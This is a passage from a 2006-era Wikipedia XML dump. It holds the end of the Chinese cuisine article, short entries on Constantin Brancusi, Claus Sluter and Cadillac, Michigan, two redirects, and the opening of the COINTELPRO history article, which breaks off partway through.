A meal in [[Chinese culture]] is typically seen as consisting of two general components: (1) a [[carbohydrate]] source or [[starch]], known as 主食 in the [[Chinese language]] (''zhǔshí''  &lt;sup&gt;[[Pinyin|?]]&lt;/sup&gt; , ''lit.'' &quot;main food&quot;, staple) — typically [[rice]], [[noodle]]s, or [[mantou]] (steamed buns), and (2) accompanying ''dishes'' of [[vegetable]]s, [[fish]], [[meat]], or other items, known as 菜 (''cài''&lt;sup&gt;[[Pinyin|?]]&lt;/sup&gt; , ''lit.'' &quot;vegetable&quot;) in the Chinese language. (This [[culture|cultural conceptualization]] is in some ways in contrast to [[Western cuisine|Western meals]] where [[meat]] or [[protein|animal protein]] is often considered the ''[[main course|main dish]]''.)

As is well known throughout the world, rice is a critical part of much of Chinese cuisine. However, in many parts of China, particularly [[North China]], [[wheat]]-based products including [[noodles]] and [[mantou|steamed buns]] (饅頭) predominate, in contrast to [[South China]] where rice is dominant. Despite the importance of rice in Chinese cuisine, at extremely formal occasions, it is sometimes the case that no rice at all will be served; in such a case, rice would only be provided when no other dishes remained. [[Soup]] is usually served at the end of a [[meal]] to satiate one's [[appetite]]. Owing to western influences, serving soup in the beginning of a meal is also quite normal in modern times.

[[Chopsticks]] are the primary [[eating utensil]] in Chinese culture for solid foods, while soups and other liquids are enjoyed {{ref|1}} with a wide, flat-bottomed [[spoon]] (traditionally made of [[ceramic]]).  It is reported that wooden chopsticks are losing their dominance due to recent [[logging]] shortfalls in China and [[East Asia]]; many Chinese eating establishments are considering a switch to a more environmentally sustainable eating utensil, such as plastic chopsticks. On the other hand, disposable chopsticks made of wood/bamboo have all but replaced reusable ones in small resturants.  In most dishes in Chinese cuisine, foods are prepared in smaller pieces (e.g. vegetable, meat, [[tofu|doufu]]), ready for direct picking up and eating. Traditionally, Chinese culture considered using [[knife|knives]] and [[fork]]s at the table &quot;[[barbarian|barbaric]]&quot; due to fact that these implements are regarded as [[weapon]]s. [[Fish]] are usually cooked and served whole, with diners directly pulling pieces from the fish with chopsticks to eat, unlike in some other cuisines where they are first [[fillet]]ed. This is because it is desired for fish to be served as fresh as possible. A common Chinese saying &quot;including head and tail&quot; refers to the wholeness and completion of a certain task or in this case; the display of food.

Spoon and fork are most often used by [[Malaysian Chinese]] and [[Singaporean Chinese]] eating at home, and are provided in many restaurants—especially &quot;coffee houses&quot; or [[kopi tiam]].  Some Chinese prefer to eat white rice with a spoon, even while eating other dishes with chopsticks. Many school [[cafeteria]]s (canteens) in China provide only spoons for students eating, not chopsticks, due to their reusability and ease of washing.

In a Chinese meal, each individual diner is given their own bowl of rice while the accompanying dishes are served in communal plates (or bowls) which are shared by everyone sitting at the table. In western cultures, this communal style of service is known as &quot;family style&quot;. In the Chinese meal, each diner picks food out of the communal plates on a bite-by-bite basis with their chopsticks. This is in constrast to western meals where it is customary to dole out individual servings of the dishes at the beginning of the meal. Many non-Chinese are unaccustomed in allowing a person's individual food utensils (which might have traces of a person's saliva) to touch the communal plates. For this [[hygiene]] issue, some Chinese families use additional serving spoons, or chopsticks (公筷, ''lit.'' common/public/shared chopsticks), to move the pieces of the food from the communal plates to the person's rice bowl. The food selected is often eaten together with a mouthful of rice.

[[Vegetarianism]] is not uncommon or unusual in China, though, as is the case in the West, is still only practiced by a relatively small proportion of the population. The Chinese vegetarian does not eat a lot of Tofu, unlike the stereotypical impression in the West. Most Chinese vegetarians are Buddhists. Non-Chinese eating Chinese cuisine will note that a large number of ''vegetable dishes'' may actually contain meat, as meat chunks or bits have been traditionally used to flavor dishes in Chinese cuisine. [[Chinese Buddhist cuisine]] has many true vegetarian dishes (no meat at all).

For much of China's history, human [[manure]] has been used as [[fertilizer]] due to the large human population and the relative scarcity of farm animals in China. For this reason, raw food (especially raw vegetables such as [[salad]]) has not been part of the traditional Chinese [[diet (nutrition)|diet]].

[[Dessert]]s as such are less typical in Chinese culture than in the West. Chinese meals do not typically end with a dessert or dessert course as is common in Western cuisine. Instead, sweet foods are often introduced during the course of the meal with no firm distinction made. For instance, the ''basi'' fruit dishes (sizziling sugar syrup coated fruits such as [[banana]] or [[apple]]) are eaten alongside other &quot;savoury&quot; dishes that would be considered &quot;main course&quot; items in the West. However, many sweet foods and dessert snacks do exist in Chinese cuisine. Many are fried, and several incorporate [[red bean paste]] (''dousha''). (Bean paste is also used in [[Japanese cuisine]].) The ''matuan'' is filled with ''dousha'' and fried; it is often eaten for breakfast. Some steamed bun items are filled with ''dousha''; some of these are in the shape of [[peach]]es, an important Chinese cultural symbol. Another dessert is ''[[Babao Fan]]'' (八寶飯) or &quot;Eight Treasure Rice Pudding&quot;.

If dessert is served at the end of the meal, by far the most typical choice is fresh [[fruit]], such as sliced [[oranges]]. The second most popular choice is a type of sweet [[soup]], typically made with [[azuki bean|red bean]]s and sugar. This soup is served warm. 

In Chinese culture, cold [[beverage]]s are believed to be harmful to [[digestion]] of hot food, so items like ice-cold water or [[soft drink]]s are traditionally not served at meal-time. Besides soup, if any other beverages are served, they would most likely be hot [[tea]] or hot water. Tea is believed to help in the digestion of [[Yellow grease|greasy]] foods. 

==Varieties==
Due to the large and varied characteristics of China itself, a multitude of different regional and other (e.g. religious) styles can be identified in the larger complex of Chinese cuisine:

===Regions of mainland China===
:''Cuisine name derives from province or region except where indicated''
* [[Northwestern Chinese cuisine]]
* [[Mandarin cuisine]]
* [[Jiang-Huai cuisine]]
* [[Northeastern Chinese cuisine]]
* [[Cantonese cuisine]] ([[Guangdong]] province)
* [[Chiuchow cuisine]] ([[Chaozhou]] region, [[Guangdong]])
* [[Hakka cuisine]] ([[Hakka people|Hakka ethnic group]])
* [[Hunan cuisine]]
* [[Shanghai cuisine]] 
* [[Sichuan cuisine]] 
* [[Fujian cuisine]]
* [[Yunnan cuisine]] 
* [[Hainan cuisine]]

===Other regions===
* [[Cuisine of Hong Kong]]
* [[Macanese (conichywa)cuisine]]
* [[Taiwanese cuisine]]
* [[Nanyang Chinese cuisine]] (cuisine of the [[Nanyang (geographical region)|Nanyang region]] or Southeast Asia Chinese diaspora)

===Other categories===
* [[Historical Chinese cuisine]]
* [[Chinese Islamic cuisine]]
* [[Chinese Buddhist cuisine]]

==Typical dishes==
[[Image:Chinese meal.JPG|thumb|Chinese meal|300px|right|A chinese meal in [[Suzhou]], [[Jiangsu]] province, with bowls of white rice, shrimp, eggplant, fermented tofu, vegetable stir-fries, vegetarian duck, and a central dish with meat and bamboo. There are 6 bowls of rice, one for each person.]]
*[[Fried rice]]
*[[Jiaozi]] (filled dumplings)
*[[Potsticker]] (shallow fried jiaozi)
*[[Chinese noodles|Noodles]]
**Fried noodles
**Noodle soup
*[[Kung Pao chicken]]
*[[Hotpot]]
*Fried [[pancakes]] (including [[green onion pancake]]s)
*[[Zongzi]] (rice balls, wrapped in leaves)
*[[Peking Duck]] - the trademark dish of [[Beijing]]
*[[Baozi]] (filled steamed buns)
*[[Dim sum]] - originated in Guangzhou (Canton) and Hong Kong
*Steamed [[fish]]
*[[Tofu]] dishes

'''Breakfast foods'''
*[[Century egg]] (皮蛋; pi2 dan4; ''lit.'' leather egg): hundred-day old egg, or preserved egg
*[[Tea egg]] (茶葉蛋; cha2 ye4 dan4): hard boiled [[egg (food)|egg]] soaked or stewed in [[tea]]
*[[Congee]] (粥; zhou1): rice porridge
*[[Pickling|Pickled]] vegetables (醬菜; jiang4 cai4; ''lit.'' sauced vegetables)
*[[Soy milk]] (豆奶; dou4 nai3 or 豆漿; dou4 jiang1) in either sweet or &quot;salty&quot; form
*[[Youtiao]] (油條), &quot;Cow tongue pastry&quot; (牛脷酥), or other fried chinese doughfoods
*[[Shaobing]] (燒餅): a flaky baked or pan-seared dough pastry.
*[[Rice ball]]s (飯糰; fan4 tuan2) with savory fillings or coatings

'''Starches'''
*[[Mantou]] (steamed bread)
*White rice
*[[Chinese noodles|Noodles]]

==Other East Asian cuisines==
China shares much with the culinary heritage of other regions of East Asia, in addition to some contrasts; compare [[Japanese cuisine]], [[Singaporean cuisine]], and [[Vietnamese cuisine]], among others.

== Chinese cuisine in diaspora ==
See [[American Chinese cuisine]] and [[Canadian Chinese cuisine]] for the development of Chinese cuisine in North America. Chinese cuisine is also highly developed in Western Europe. Within the United States, the [[cuisine of Hawaii]] contains many Chinese foods and Chinese influences, due to the high number of Chinese and Asian immigrants. However, Chinese-originated or -inspired foods are often combined with those of other cuisines in novel ways.

==Contemporary health trends==
According to the United Nations [[Food and Agriculture Organization]] estimates for 2000-02, 11% of the population of the People's Republic of China were undernourished. [http://www.fao.org/es/ess/yearbook/vol_1_2/pdf/China.pdf]  The number of undernourished people in the country has fallen from 386.6 million in 1969-71 to 142.1 million in 2000-02. [http://www.fao.org/faostat/foodsecurity/Files/NumberUndernourishment.xls]  The country still receives international food aid, but the [[World Food Program]] notes that the country achieved its goal of national agricultural self-sufficiency in the mid 1990s.  The WFP says hunger is concentrated in rural, resource-poor areas of northern, northwestern, and southwestern China. [http://www.wfp.org/country_brief/indexcountry.asp?region=5&amp;section=9&amp;sub_section=5&amp;country=156]  

A typical Chinese peasant before industrialization would have eaten meat rarely and most meals would have consisted of rice accompanied with green vegetables, with [[protein]] coming from foods like [[peanut]]s. Fats and sugar were luxuries not eaten on a regular basis by most of the population. In Chinese traditional culture, being overweight was a sign of prosperity and wealth as only the wealthy could afford fatty or sweet foods or even buy enough food to become fat. As income levels have increased, Chinese diets have become richer with more meats, fats, and sugar being consumed.   

While economic change has significantly reduced undernourishment, new health problems related to overconsumption and poor dietary choices have increased significantly. The incidence of nutrition-related disease and overweightness, including obesity (especially among children) has risen dramatically in mainland China over the last 10-15 years. [http://english.people.com.cn/200510/24/eng20051024_216452.html]  Health advocates put some of the blame on the increased popularity of Western foods, especially [[fast food]], and other culinary products and habits. Many Western, especially American, fast food chains have appeared in China, and are highly successful economically. These include [[McDonalds|McDonald's]] and [[Kentucky Fried Chicken]] (KFC).

==Note==
{{note|1}} Note: In most [[variety (linguistics)|varieties]] or [[dialects]] of [[Chinese language|Chinese]], the [[verb]] for consuming soup is actually translatable literally as &quot;drink&quot;.
&lt;!-- adverb and other prons a.d ions should be done --&gt;

==Reference==
''How to Cook and Eat in Chinese'', [[Buwei Yang Chao]], first ed. [[1945]].

==External links==
*[http://www.chopstix.com/ Chopstix] &amp;mdash; From the UK
*[http://chinesefood.about.com/ About.com] &amp;mdash; From the USA
*[http://www.thatsqingdao.com/ That's Qingdao - Qingdao Travel Guide] (available in English and Chinese)
*[http://www.chineserestaurantsonline.com/ Chinese Restaurants Online]

==See also==
*[[Cantonese restaurant]]
*[[Chinese American cuisine]]
*[[Canadian Chinese cuisine]]
*[[List of Chinese dishes]]
* ''[[wok hei]]''

[[Category:Chinese cuisine|*]]

[[da:Kinesisk madlavning]]
[[de:Chinesische Küche]]
[[et:Hiina köök]]
[[fr:Cuisine chinoise]]
[[he:המטבח הסיני]]
[[ja:中華料理]]
[[ko:중화요리]]
[[nl:Chinese keuken]]
[[pl:Kuchnia chińska]]
[[ro:Bucătărie chinezească]]
[[ru:Китайская кухня]]
[[zh:中国菜]]</text>
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    <title>Casimir IV</title>
    <id>6584</id>
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      <timestamp>2005-12-20T15:18:45Z</timestamp>
      <contributor>
        <username>Appleseed</username>
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      <text xml:space="preserve">#REDIRECT [[Kazimierz IV Jagiellon]]</text>
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  <page>
    <title>Constantin Brancusi</title>
    <id>6585</id>
    <revision>
      <id>40581932</id>
      <timestamp>2006-02-21T16:34:59Z</timestamp>
      <contributor>
        <username>Orioane</username>
        <id>362844</id>
      </contributor>
      <comment>+life</comment>
      <text xml:space="preserve">'''Constantin Brancusi''' ([[February 19]], [[1876]] &amp;ndash; [[March 16]], [[1957]], originally '''Constantin Brâncuşi''' {{IPA|/kon.stan'tin brɨn'kuʃʲ/}}), was a [[Romania]]n [[sculpture|sculptor]], born in [[Hobita, Gorj|Hobiţa]], [[Gorj]], near [[Targu Jiu|Târgu Jiu]], where he placed his [[Sculptural Ensemble of Constantin Brancusi from Târgu Jiu|sculptural ensemble]] with ''[[The Table of Silence]]'', ''[[The Gate of the Kiss]]'' and ''[[The Endless Column]]''. 

==Life==
Brancusi studied art at the Şcoala de Meserii (school of arts and crafts) in [[Craiova]] from 1894 to 1898 and at the Şcoala Naţională de Arte Frumoase (national school of fine arts) in [[Bucharest]] from 1898 to 1901. Wishing to further his education in [[Paris]], he arrived there in 1904 and enrolled in the [[École des Beaux-Arts]] in 1905. 

As an art student he was influenced by [[Auguste Rodin]], but his style moved beyond naturalist representation to stylized elegant forms. Brancusi was one of the first sculptors to experiment with [[abstract art]] (although never, in his own view, moving into ''pure abstraction''). His [[sculpture|sculptures]] became progressively smoother and less figurative, until only the barest outline of the original subject was left, venturing even farther away from figurative sculpture than his countryman and contemporary [[Dimitrie Paciurea]].

Brancusi produced a series of sculptures in metal called ''[[Bird in Space]]''. [[Edward Steichen]], a prominent photographer purchased one of these ''birds'' and tried to bring it into the United States. Under U.S. Customs code, works of art may be imported into the country duty-free. However, Customs officers did not accept the ''bird'' as a work of art and assessed a duty of $600 classifying it as a propeller blade. Subsequently a trial overturned the assessment.

Constantin Brancusi lived and worked from [[1925]] to [[1957]] in his workshop, located in the ''impasse Ronsin'', in the [[15ème arrondissement, Paris|15ème arrondissement]] of Paris. The original workshop has disappeared and has been rebuilt near the [[Centre Georges Pompidou]].

Located in the Montparnasse Cemetery are statues carved by Brancusi for a few fellow artists who committed suicide, the best-known of which is his ''[[Le Baiser]]'' (''The Kiss'').

Brancusi died on [[March 16]], [[1957]] and was buried in the [[Cimetière du Montparnasse]], [[Paris|Paris, France]].

==Legacy==

His works are housed in the New York [[Museum of Modern Art]] and in the [[National Museum of Art of Romania]] (in Bucharest), as well as in other major museums around the world.

Brancusi's onetime studio in Paris is open to the public. It is very close to the [[Pompidou Centre]], in the rue Rambuteau. He bequeathed part of his collection to the French state on condition that his workshop be rebuilt as it was on the day he died.

In [[2004]], a sculpture by Brancusi named ''Danaide'' sold for [[United States dollar|$]]18.1 million, the highest that a sculpture piece had ever sold for at auction. In May [[2005]], a piece from the ''Bird in Space'' series broke that record, selling for [[United States dollar|$]]27.5 million in a [[Christie's]] auction. [http://money.cnn.com/2005/05/05/news/newsmakers/brancusi.reut/index.htm?cnn=yes]

==Quotations==
''The people who call my work 'abstract' are imbeciles; what they call 'abstract' is in fact the purest [[realism (arts)|realism]], the reality of which is not represented by external form but by the [[idealism|idea]] behind it, the essence of the work.''

''Create like a god, command like a king, work like a slave.''

==Selected works==
*''[[The Endless Column]]''
*''[[Bird in Space]]'' (series)
*''Sleeping Muse'' [http://www.artcyclopedia.com/masterscans/l178.html]
*''[[:Image:Brancusi.jpg|Newborn]]''

==External links==
{{commonscat|Constantin Brancusi}}

* [http://www.scultura-italiana.com/Galleria_Estero/Brancusi%20Constantin/index.html Images of Brancusi sculptures]
* [http://engcom.ipsec.ro/Brancusi/index.html Constantin Brancusi - pioneer of abstract sculpture]

[[Category:1876 births|Brancusi, Constantin]]
[[Category:1957 deaths|Brancusi, Constantin]]
[[Category:Modern sculptors|Brancusi, Constantin]]
[[Category:Romanian sculptors|Brancusi, Constantin]]
[[Category:Romanian-French people|Brancusi, Constantin]]

[[de:Constantin Brâncuşi]]
[[es:Constantin Brancusi]]
[[eo:Constantin BRÂNCUŞI]]
[[fr:Constantin Brâncuşi]]
[[it:Constantin Brancusi]]
[[he:קונסטאנטין בראנקושי]]
[[nl:Constantin Brancusi]]
[[pl:Constantin Brâncuşi]]
[[ro:Constantin Brâncuşi]]
[[ru:Брынкуши, Константин]]
[[sv:Constantin Brancusi]]</text>
    </revision>
  </page>
  <page>
    <title>Claus Sluter</title>
    <id>6586</id>
    <revision>
      <id>41372070</id>
      <timestamp>2006-02-26T22:29:35Z</timestamp>
      <contributor>
        <username>Pathoschild</username>
        <id>240994</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.206.34.252|66.206.34.252]] ([[User talk:66.206.34.252|talk]]) to last version by Sparkit</comment>
      <text xml:space="preserve">'''Claus Sluter''' was a fourteenth century Dutch-Burgundian sculptor and the most important northern European sculptor of his age. He restored figural sculpture to its former classical era monumental scale and naturalism. He is considered a pioneer of &quot;northern realism&quot;. His most famous surviving work is the ''Well of Moses,'' created for a [[Carthusian]] [[Abbey|monastery]] built by Philip the Bold near [[Dijon]].

{{sculptor-stub}}

[[Category:French sculptors|Sluter, Claus]]
[[Category:Gothic sculptors|Sluter, Claus]]

[[de:Claus Sluter]]
[[sv:Claus Sluter]]</text>
    </revision>
  </page>
  <page>
    <title>Cadillac, Michigan</title>
    <id>6587</id>
    <revision>
      <id>39556536</id>
      <timestamp>2006-02-14T07:00:48Z</timestamp>
      <contributor>
        <ip>71.97.3.115</ip>
      </contributor>
      <comment>/* Overview */</comment>
      <text xml:space="preserve">'''Cadillac''' is a city in the [[U.S. state]] of [[Michigan]] and is the [[county seat]] of [[Wexford County, Michigan|Wexford County]].  As of the [[United States 2000 Census|2000 census]], the city had a total population of 10,000. The city is situated at the junction of [[U.S. Highway 131]] and [[Michigan State Highway 55]] The city is between [[Haring Township, Michigan|Haring Township]] on the north and [[Clam Lake Township, Michigan|Clam Lake Township]] on the south.  Cadillac became the county seat after the so-called &quot;[[Battle of Manton]]&quot; in which a show of force was involved in enforcing a controversial decision to move the county seat from [[Manton, Michigan]]. 

==Overview==
Although European explorers and traders visited the area since the 1700s, permanent white settlement did not begin until much later. Initial settlements were connected with the logging industry. Cadillac was originally called '''Clam Lake''' and was incorporated as a village in 1874. It changed its name and incorporated as the city of Cadillac three years later in 1877, named after [[Antoine Laumet de La Mothe, sieur de Cadillac]], a Frenchman who made the first permanent settlement at [[Detroit, Michigan|Detroit]] in 1701. Many early settlers were [[Sweden|Swedish]] and two of Cadillac's sister cities are [[Mölnlycke]], [[Sweden]], and [[Rovaniemi]], [[Finland]]. Cadillac was also home to the [[Michigan Iron Works]] Company, which manufactured [[Shay locomotive]]s for a short time in the early 1880s.

The 1,150 acre [[Lake Cadillac]] is entirely within the city limits, and some claim it is the largest lake entirely in any city in the [[United States]]. The larger, 2,580 acre [[Lake Mitchell]] is nearby on the west side of the city, with 1,760 feet of shoreline within the city's municipal boundary. The lakes were connected by a stream which was replaced in 1873 by the [[Clam Lake Canal]]. Lake Cadillac was formerly known as ''Little Clam Lake'', while Lake Mitchell was ''Big Clam Lake''. Lake Mitchell was renamed for [[George A. Mitchell]], a railroad executive in the 1870s. The canal was featured on [[Ripley's Believe It or Not]] in the 1970s because in winter the canal freezes before the lakes and then after the lakes freeze, the canal thaws and remains unfrozen for the rest of the winter. Although it is illegal to attempt to use a snowmobile to cross the open water on the canal, some individuals occasionally try to do so. 

Since the decline of the logging industry, tourism become the main industry in Cadillac. However, 
manufacturing now rivals tourism as the main industry in the city.  Cadillac has achieved recognition throughout Michigan as a leader in the growth of industrial development. Industries include the manufacture of pleasure boats, automotive parts, water well components, vacuum cleaners, and rubber products. But year-round tourism is still a mainstay of the local economy. In the summer tourists come for the boating, fishing, hiking, mountain biking and camping. In the fall they come for the hunting and color tours. The winter is possibly the busiest season of all as motels are packed with downhill skiers, cross-country skiers, ice-fishers, snow-shoers  and most of all snowmobilers. The North American Snowmobile Festival (NASF) is held on frozen Lake Cadillac every winter.

Cadillac sits on the eastern edge of the [[Manistee National Forest]] and the surrounding area is heavily wooded with mixed hardwood and conifer forests. The main agricultural industry in the area is [[Christmas tree]] [[tree farm|farming]]. In fact, Cadillac was chosen in 1988 to donate the Christmas tree to sit on the lawn of the [[U.S. Capitol building]] in [[Washington D.C.]]

Thirsty's, a gas station on M-55 right outside of Cadillac's city limits, was the home of Samantha or &quot;Sam The Bear&quot; from the 1970s through the late 1990s when Sam died of old age. Sam was the only [[brown bear]] in captivity in the US, at the time, to hibernate naturally. Sam lived in a large cage in front of the gas station and was lovingly fed ice cream cones by tourists every summer.

In 1974 the rock group KISS played a free concert for the town in honor of the high school football team who wore KISS makeup during games.

Based on a single, limited study involving twenty people, some people have labelled Cadillac as one of three &quot;hot spots&quot; for [[Amyotrophic lateral sclerosis|Lou Gehrig's Disease]] in the US. However, the study made no attempt to ascertain the occurrence of the disease in other parts of the state, or elsewhere in the country. The study was designed to examine the possible occurence of the disease due to genetic influences. [http://www.cns.jrn.msu.edu/articles/2003_0314/DISEASE.html] The occurrence of the disease within the city limits of Cadillac is reportedly over 100 times the normal rate. The cause of the abnormally large occurrence of the disease in Cadillac is as of yet unknown.

== Geography ==
[[Image:MIMap-doton-Cadillac.PNG|right|Location of Cadillac, Michigan]]
According to the [[United States Census Bureau]], the city has a total area of 22.3 [[square kilometre|km²]] (8.6 [[square mile|mi²]]).  17.7 km² (6.8 mi²) of it is land and 4.6 km² (1.8 mi²) of it is water.  The total area is 20.70% water.

== Demographics ==
As of the [[census]][[Geographic references#2|&lt;sup&gt;2&lt;/sup&gt;]] of [[2000]], there are 10,000 people, 4,118 households, and 2,577 families residing in the city.  The [[population density]] is 566.1/km² (1,466.0/mi²).  There are 4,466 housing units at an average density of 252.8/km² (654.7/mi²).  The racial makeup of the city is 96.55% [[White (U.S. Census)|White]], 0.21% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.92% [[Native American (U.S. Census)|Native American]], 0.63% [[Asian (U.S. Census)|Asian]], 0.03% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.28% from [[Race (U.S. Census)|other races]], and 1.38% from two or more races.  1.18% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 4,118 households out of which 32.2% have children under the age of 18 living with them, 43.9% are [[Marriage|married couples]] living together, 14.2% have a female householder with no husband present, and 37.4% are non-families. 31.8% of all households are made up of individuals and 14.4% have someone living alone who is 65 years of age or older.  The average household size is 2.37 and the average family size is 2.96.

In the city the population is spread out with 26.2% under the age of 18, 9.6% from 18 to 24, 27.9% from 25 to 44, 19.6% from 45 to 64, and 16.7% who are 65 years of age or older.  The median age is 36 years.  For every 100 females there are 91.4 males.  For every 100 females age 18 and over, there are 84.4 males.

The median income for a household in the city is $29,899, and the median income for a family is $36,825. Males have a median income of $29,773 versus $21,283 for females. The [[per capita income]] for the city is $16,801.  13.7% of the population and 10.9% of families are below the [[poverty line]].  Out of the total population, 15.4% of those under the age of 18 and 13.3% of those 65 and older are living below the poverty line.

== Colleges ==
*[http://www.baker.edu/campusresources/Cadillac/cacinfo.cfm Baker College-Cadillac]

== External links ==
*[http://www.cadillac-mi.net/ City of Cadillac]
*[http://www.cadillacmichigan.com/ Cadillac Area Home Page]
*[http://www.cadillacpostcards.com/ Antique photos and postcards of Cadillac]

[[Category:Wexford County, Michigan]]
[[Category:Cities in Michigan]]
[[Category:County seats in Michigan]]

[[fr:Cadillac (Michigan)]]</text>
    </revision>
  </page>
  <page>
    <title>Childrens</title>
    <id>6588</id>
    <revision>
      <id>15904718</id>
      <timestamp>2003-10-30T13:41:41Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>changed redirect</comment>
      <text xml:space="preserve">#REDIRECT [[child]]</text>
    </revision>
  </page>
  <page>
    <title>COINTELPRO</title>
    <id>6589</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41833237</id>
      <timestamp>2006-03-02T01:09:55Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">'''COINTELPRO''' is an acronym ('''Counter Intelligence Program''') for a program of the [[United States]] [[Federal Bureau of Investigation]] aimed at investigating and disrupting dissident political organizations within the United States. Although covert operations have been employed throughout FBI history, the formal COINTELPRO operations of [[1956]]-[[1971]] were broadly targeted against organizations that were (at the time) considered to have politically radical elements, ranging from those whose stated goal was the violent overthrow of the US government (such as the [[Weathermen]]) to  non-violent civil rights groups such as [[Martin Luther King Jr.]]'s [[Southern Christian Leadership Conference]] to racist and segregationist groups like the [[Ku Klux Klan]] and the [[American Nazi Party]]. The founding document of COINTELPRO directed FBI agents to &quot;expose, disrupt, misdirect, discredit, or otherwise neutralize&quot; the activities of these dissident movements and their leaders.

==History==

COINTELPRO began in 1956 and was designed to &quot;increase factionalism, cause disruption and win defections&quot; inside the [[Communist Party USA|Communist Party U.S.A.]] (CPUSA). However, the program was soon enlarged to include disruption of the [[Socialist Workers Party]] (1961), the [[Ku Klux Klan]] (1964), African-American nationalist groups (including the [[Black Panther Party]] and the [[Nation of Islam]] (1967), and the entire [[New Left]] socio-political movment, which included antiwar, community, and religious groups (1968). Opponents of COINTELPRO point out that many of these groups, such as the [[Ku Klux Klan]], had no links to communism or foreign powers.{{fact}} A later investigation by the Senate's [[Church Committee]] (see below) stated that &quot;COINTELPRO began in 1956, in part because of frustration with Supreme Court rulings limiting the Government's power to proceed overtly against dissident groups...&quot;{{ref|church}} Congress and several court cases{{fact}} later concluded that the COINTELPRO operations against communist and socialist groups exceeded statutory limits on FBI activity and violated Constitutional guarantees of freedom of speech and association.

Supporters of the program argue that the project was rooted in the Bureau's knowledge that some domestic leftwing and radical organizations were manipulated by hostile foreign intelligence agencies. For example, the FBI had access to the [[Venona]] decrypts that showed the [[Soviet Union]] and its [[KGB]] manipulated and worked under the cover of the [[Communist Party USA|CPUSA]] for espionage purposes and to incite domestic unrest in the United States.

Some of the largest COINTELPRO campaigns targeted the [[Socialist Workers Party (USA)|Socialist Worker's Party]], the &quot;[[New Left]]&quot; (including several anti-war groups such as the [[Students for a Democratic Society]] and the [[Student Nonviolent Coordinating Committee]]), [[Black Liberation]] groups (such as the [[Black Panthers]] and the [[Republic of New Africa]]), [[Puerto Rican independence groups]], the [[American Indian Movement]] and the [[Weather Underground]]. 

The program was secret until [[1971]], when an FBI field office was burglarized by a group of left-wing radicals calling themselves the Citizens' Commission to Investigate the FBI.  Several dossiers of files were taken and the information passed to [[news]] agencies.  Within the year, Director [[J. Edgar Hoover|Hoover]] declared that the centralized COINTELPRO was over, and that all future counterintelligence operations would be handled on a case-by-case basis. 

Further documents were revealed in the course of separate lawsuits filed against the FBI by NBC correspondent Carl Stern, the SWP, and a number of other groups. A major investigation was launched in 1976 by the Select Committee to Study Governmental Operations with Respect to Intelligence Activities of the United States Senate, commonly referred to as the &quot;[[Church Committee]]&quot; for its chairman, Senator [[Frank Church]] of [[Idaho]]. However, millions of pages of documents remain unreleased, and many released documents are entirely censored.

In the Final Report of the Select Committee COINTELPRO was castigated in no uncertain terms:  

:&quot;Many of the techniques used would be intolerable in a democratic society even if all of the targets had been involved in violent activity, but COINTELPRO went far beyond that...the Bureau conducted a sophisticated vigilante operation aimed squarely at preventing the exercise of First Amendment rights of speech and association, on the theory that preventing the growth of dangerous groups and the propogation of dangerous ideas would protect the national security and deter violence.&quot;{{ref|church-castigation}}

The Church Committee documented a history of the FBI being used for purposes of [[political repression]] as far back as [[World War I]], through the [[1920s]], when they were charged with rounding up &quot;anarchists and revolutionaries&quot; for deportation, and then building from [[1936]] through [[1976]].  

The FBI claims that it no longer undertakes COINTELPRO or COINTELPRO-like operations. However, critics claim that agency programs in the spirit of COINTELPRO target groups like the [[Committee in Solidarity with the People of El Salvador]], [[Earth First!]] and the [[Anti-Globalization Movement]].

==Methods==
According to Brian Glick, COINTELPRO used a broad array of methods, including: 

# Infiltration: Agents and informers did not merely spy on political activists. Their main purpose was to discredit and disrupt. Their very presence served to undermine trust and scare off potential supporters. The FBI and police exploited this fear to smear genuine activists as agents.{{ref|infiltration}}
# Psychological warfare from the outside: The FBI and police used myriad other &quot;dirty tricks&quot; to undermine these movements. They planted false media stories and published bogus leaflets and other publications in the name of targeted groups. They forged correspondence, sent anonymous letters, and made anonymous telephone calls. They spread misinformation about meetings and events, set up pseudo movement groups run by government agents, and manipulated or strong-armed parents, employers, landlords, school officials and others to cause trouble for activists.{{ref|psychological-warfare}}
# Harassment through the legal system: The FBI and police abused the legal system to harass dissidents and make them appear to be criminals. Officers of the law gave perjured testimony and presented fabricated evidence as a pretext for false arrests and wrongful imprisonment. They discriminatorily enforced tax laws and other government regulations and used conspicuous surveillance, &quot;investigative&quot; interviews, and grand jury subpoenas in an effort to intimidate activists and silence their supporters.
# Break-ins: The FBI conducted &quot;black bag&quot; jobs against the targeted groups and their members.{{ref|black-bag}}
# Extralegal force and violence: The FBI instigated violence, and its paid informants carried out assaults, beatings, and, in many cases, murders.{{ref|extralegal-force-and-violence}} (Glick, ''War at Home''). 

Supporters of the FBI argue that the Bureau was convinced that there was such a threat of domestic subversion posed by radical groups that extraordinary efforts were required to forestall violence and revolutionary insurgency. Critics counter that this perception was flawed, and, in the words of Glick, in the case of &quot;radical Black and Puerto Rican activists (and later Native Americans), these attacks-including political assassinations-were so extensive, vicious, and calculated that they can accurately be termed a form of official &quot;terrorism.&quot; (Glick, ''War at Home''). Hoover was willing to use false claims to attack his political enemies. In one memo he wrote: &quot;Purpose of counterintelligence action is to disrupt [the Black Panther Party] and it is immaterial whether facts exist to substantiate the charge.&quot; 

In 1969 the FBI special agent in San Francisco wrote Hoover that his investigation of the Black Panther Party revealed that in his city, at least, the Black nationalists were primarily feeding breakfast to children. Hoover fired back a memo implying the career ambitions of the agent were directly related to his supplying evidence to support Hoover's view that the BPP was &quot;a violence prone organization seeking to overthrow the Government by revolutionary means&quot;.

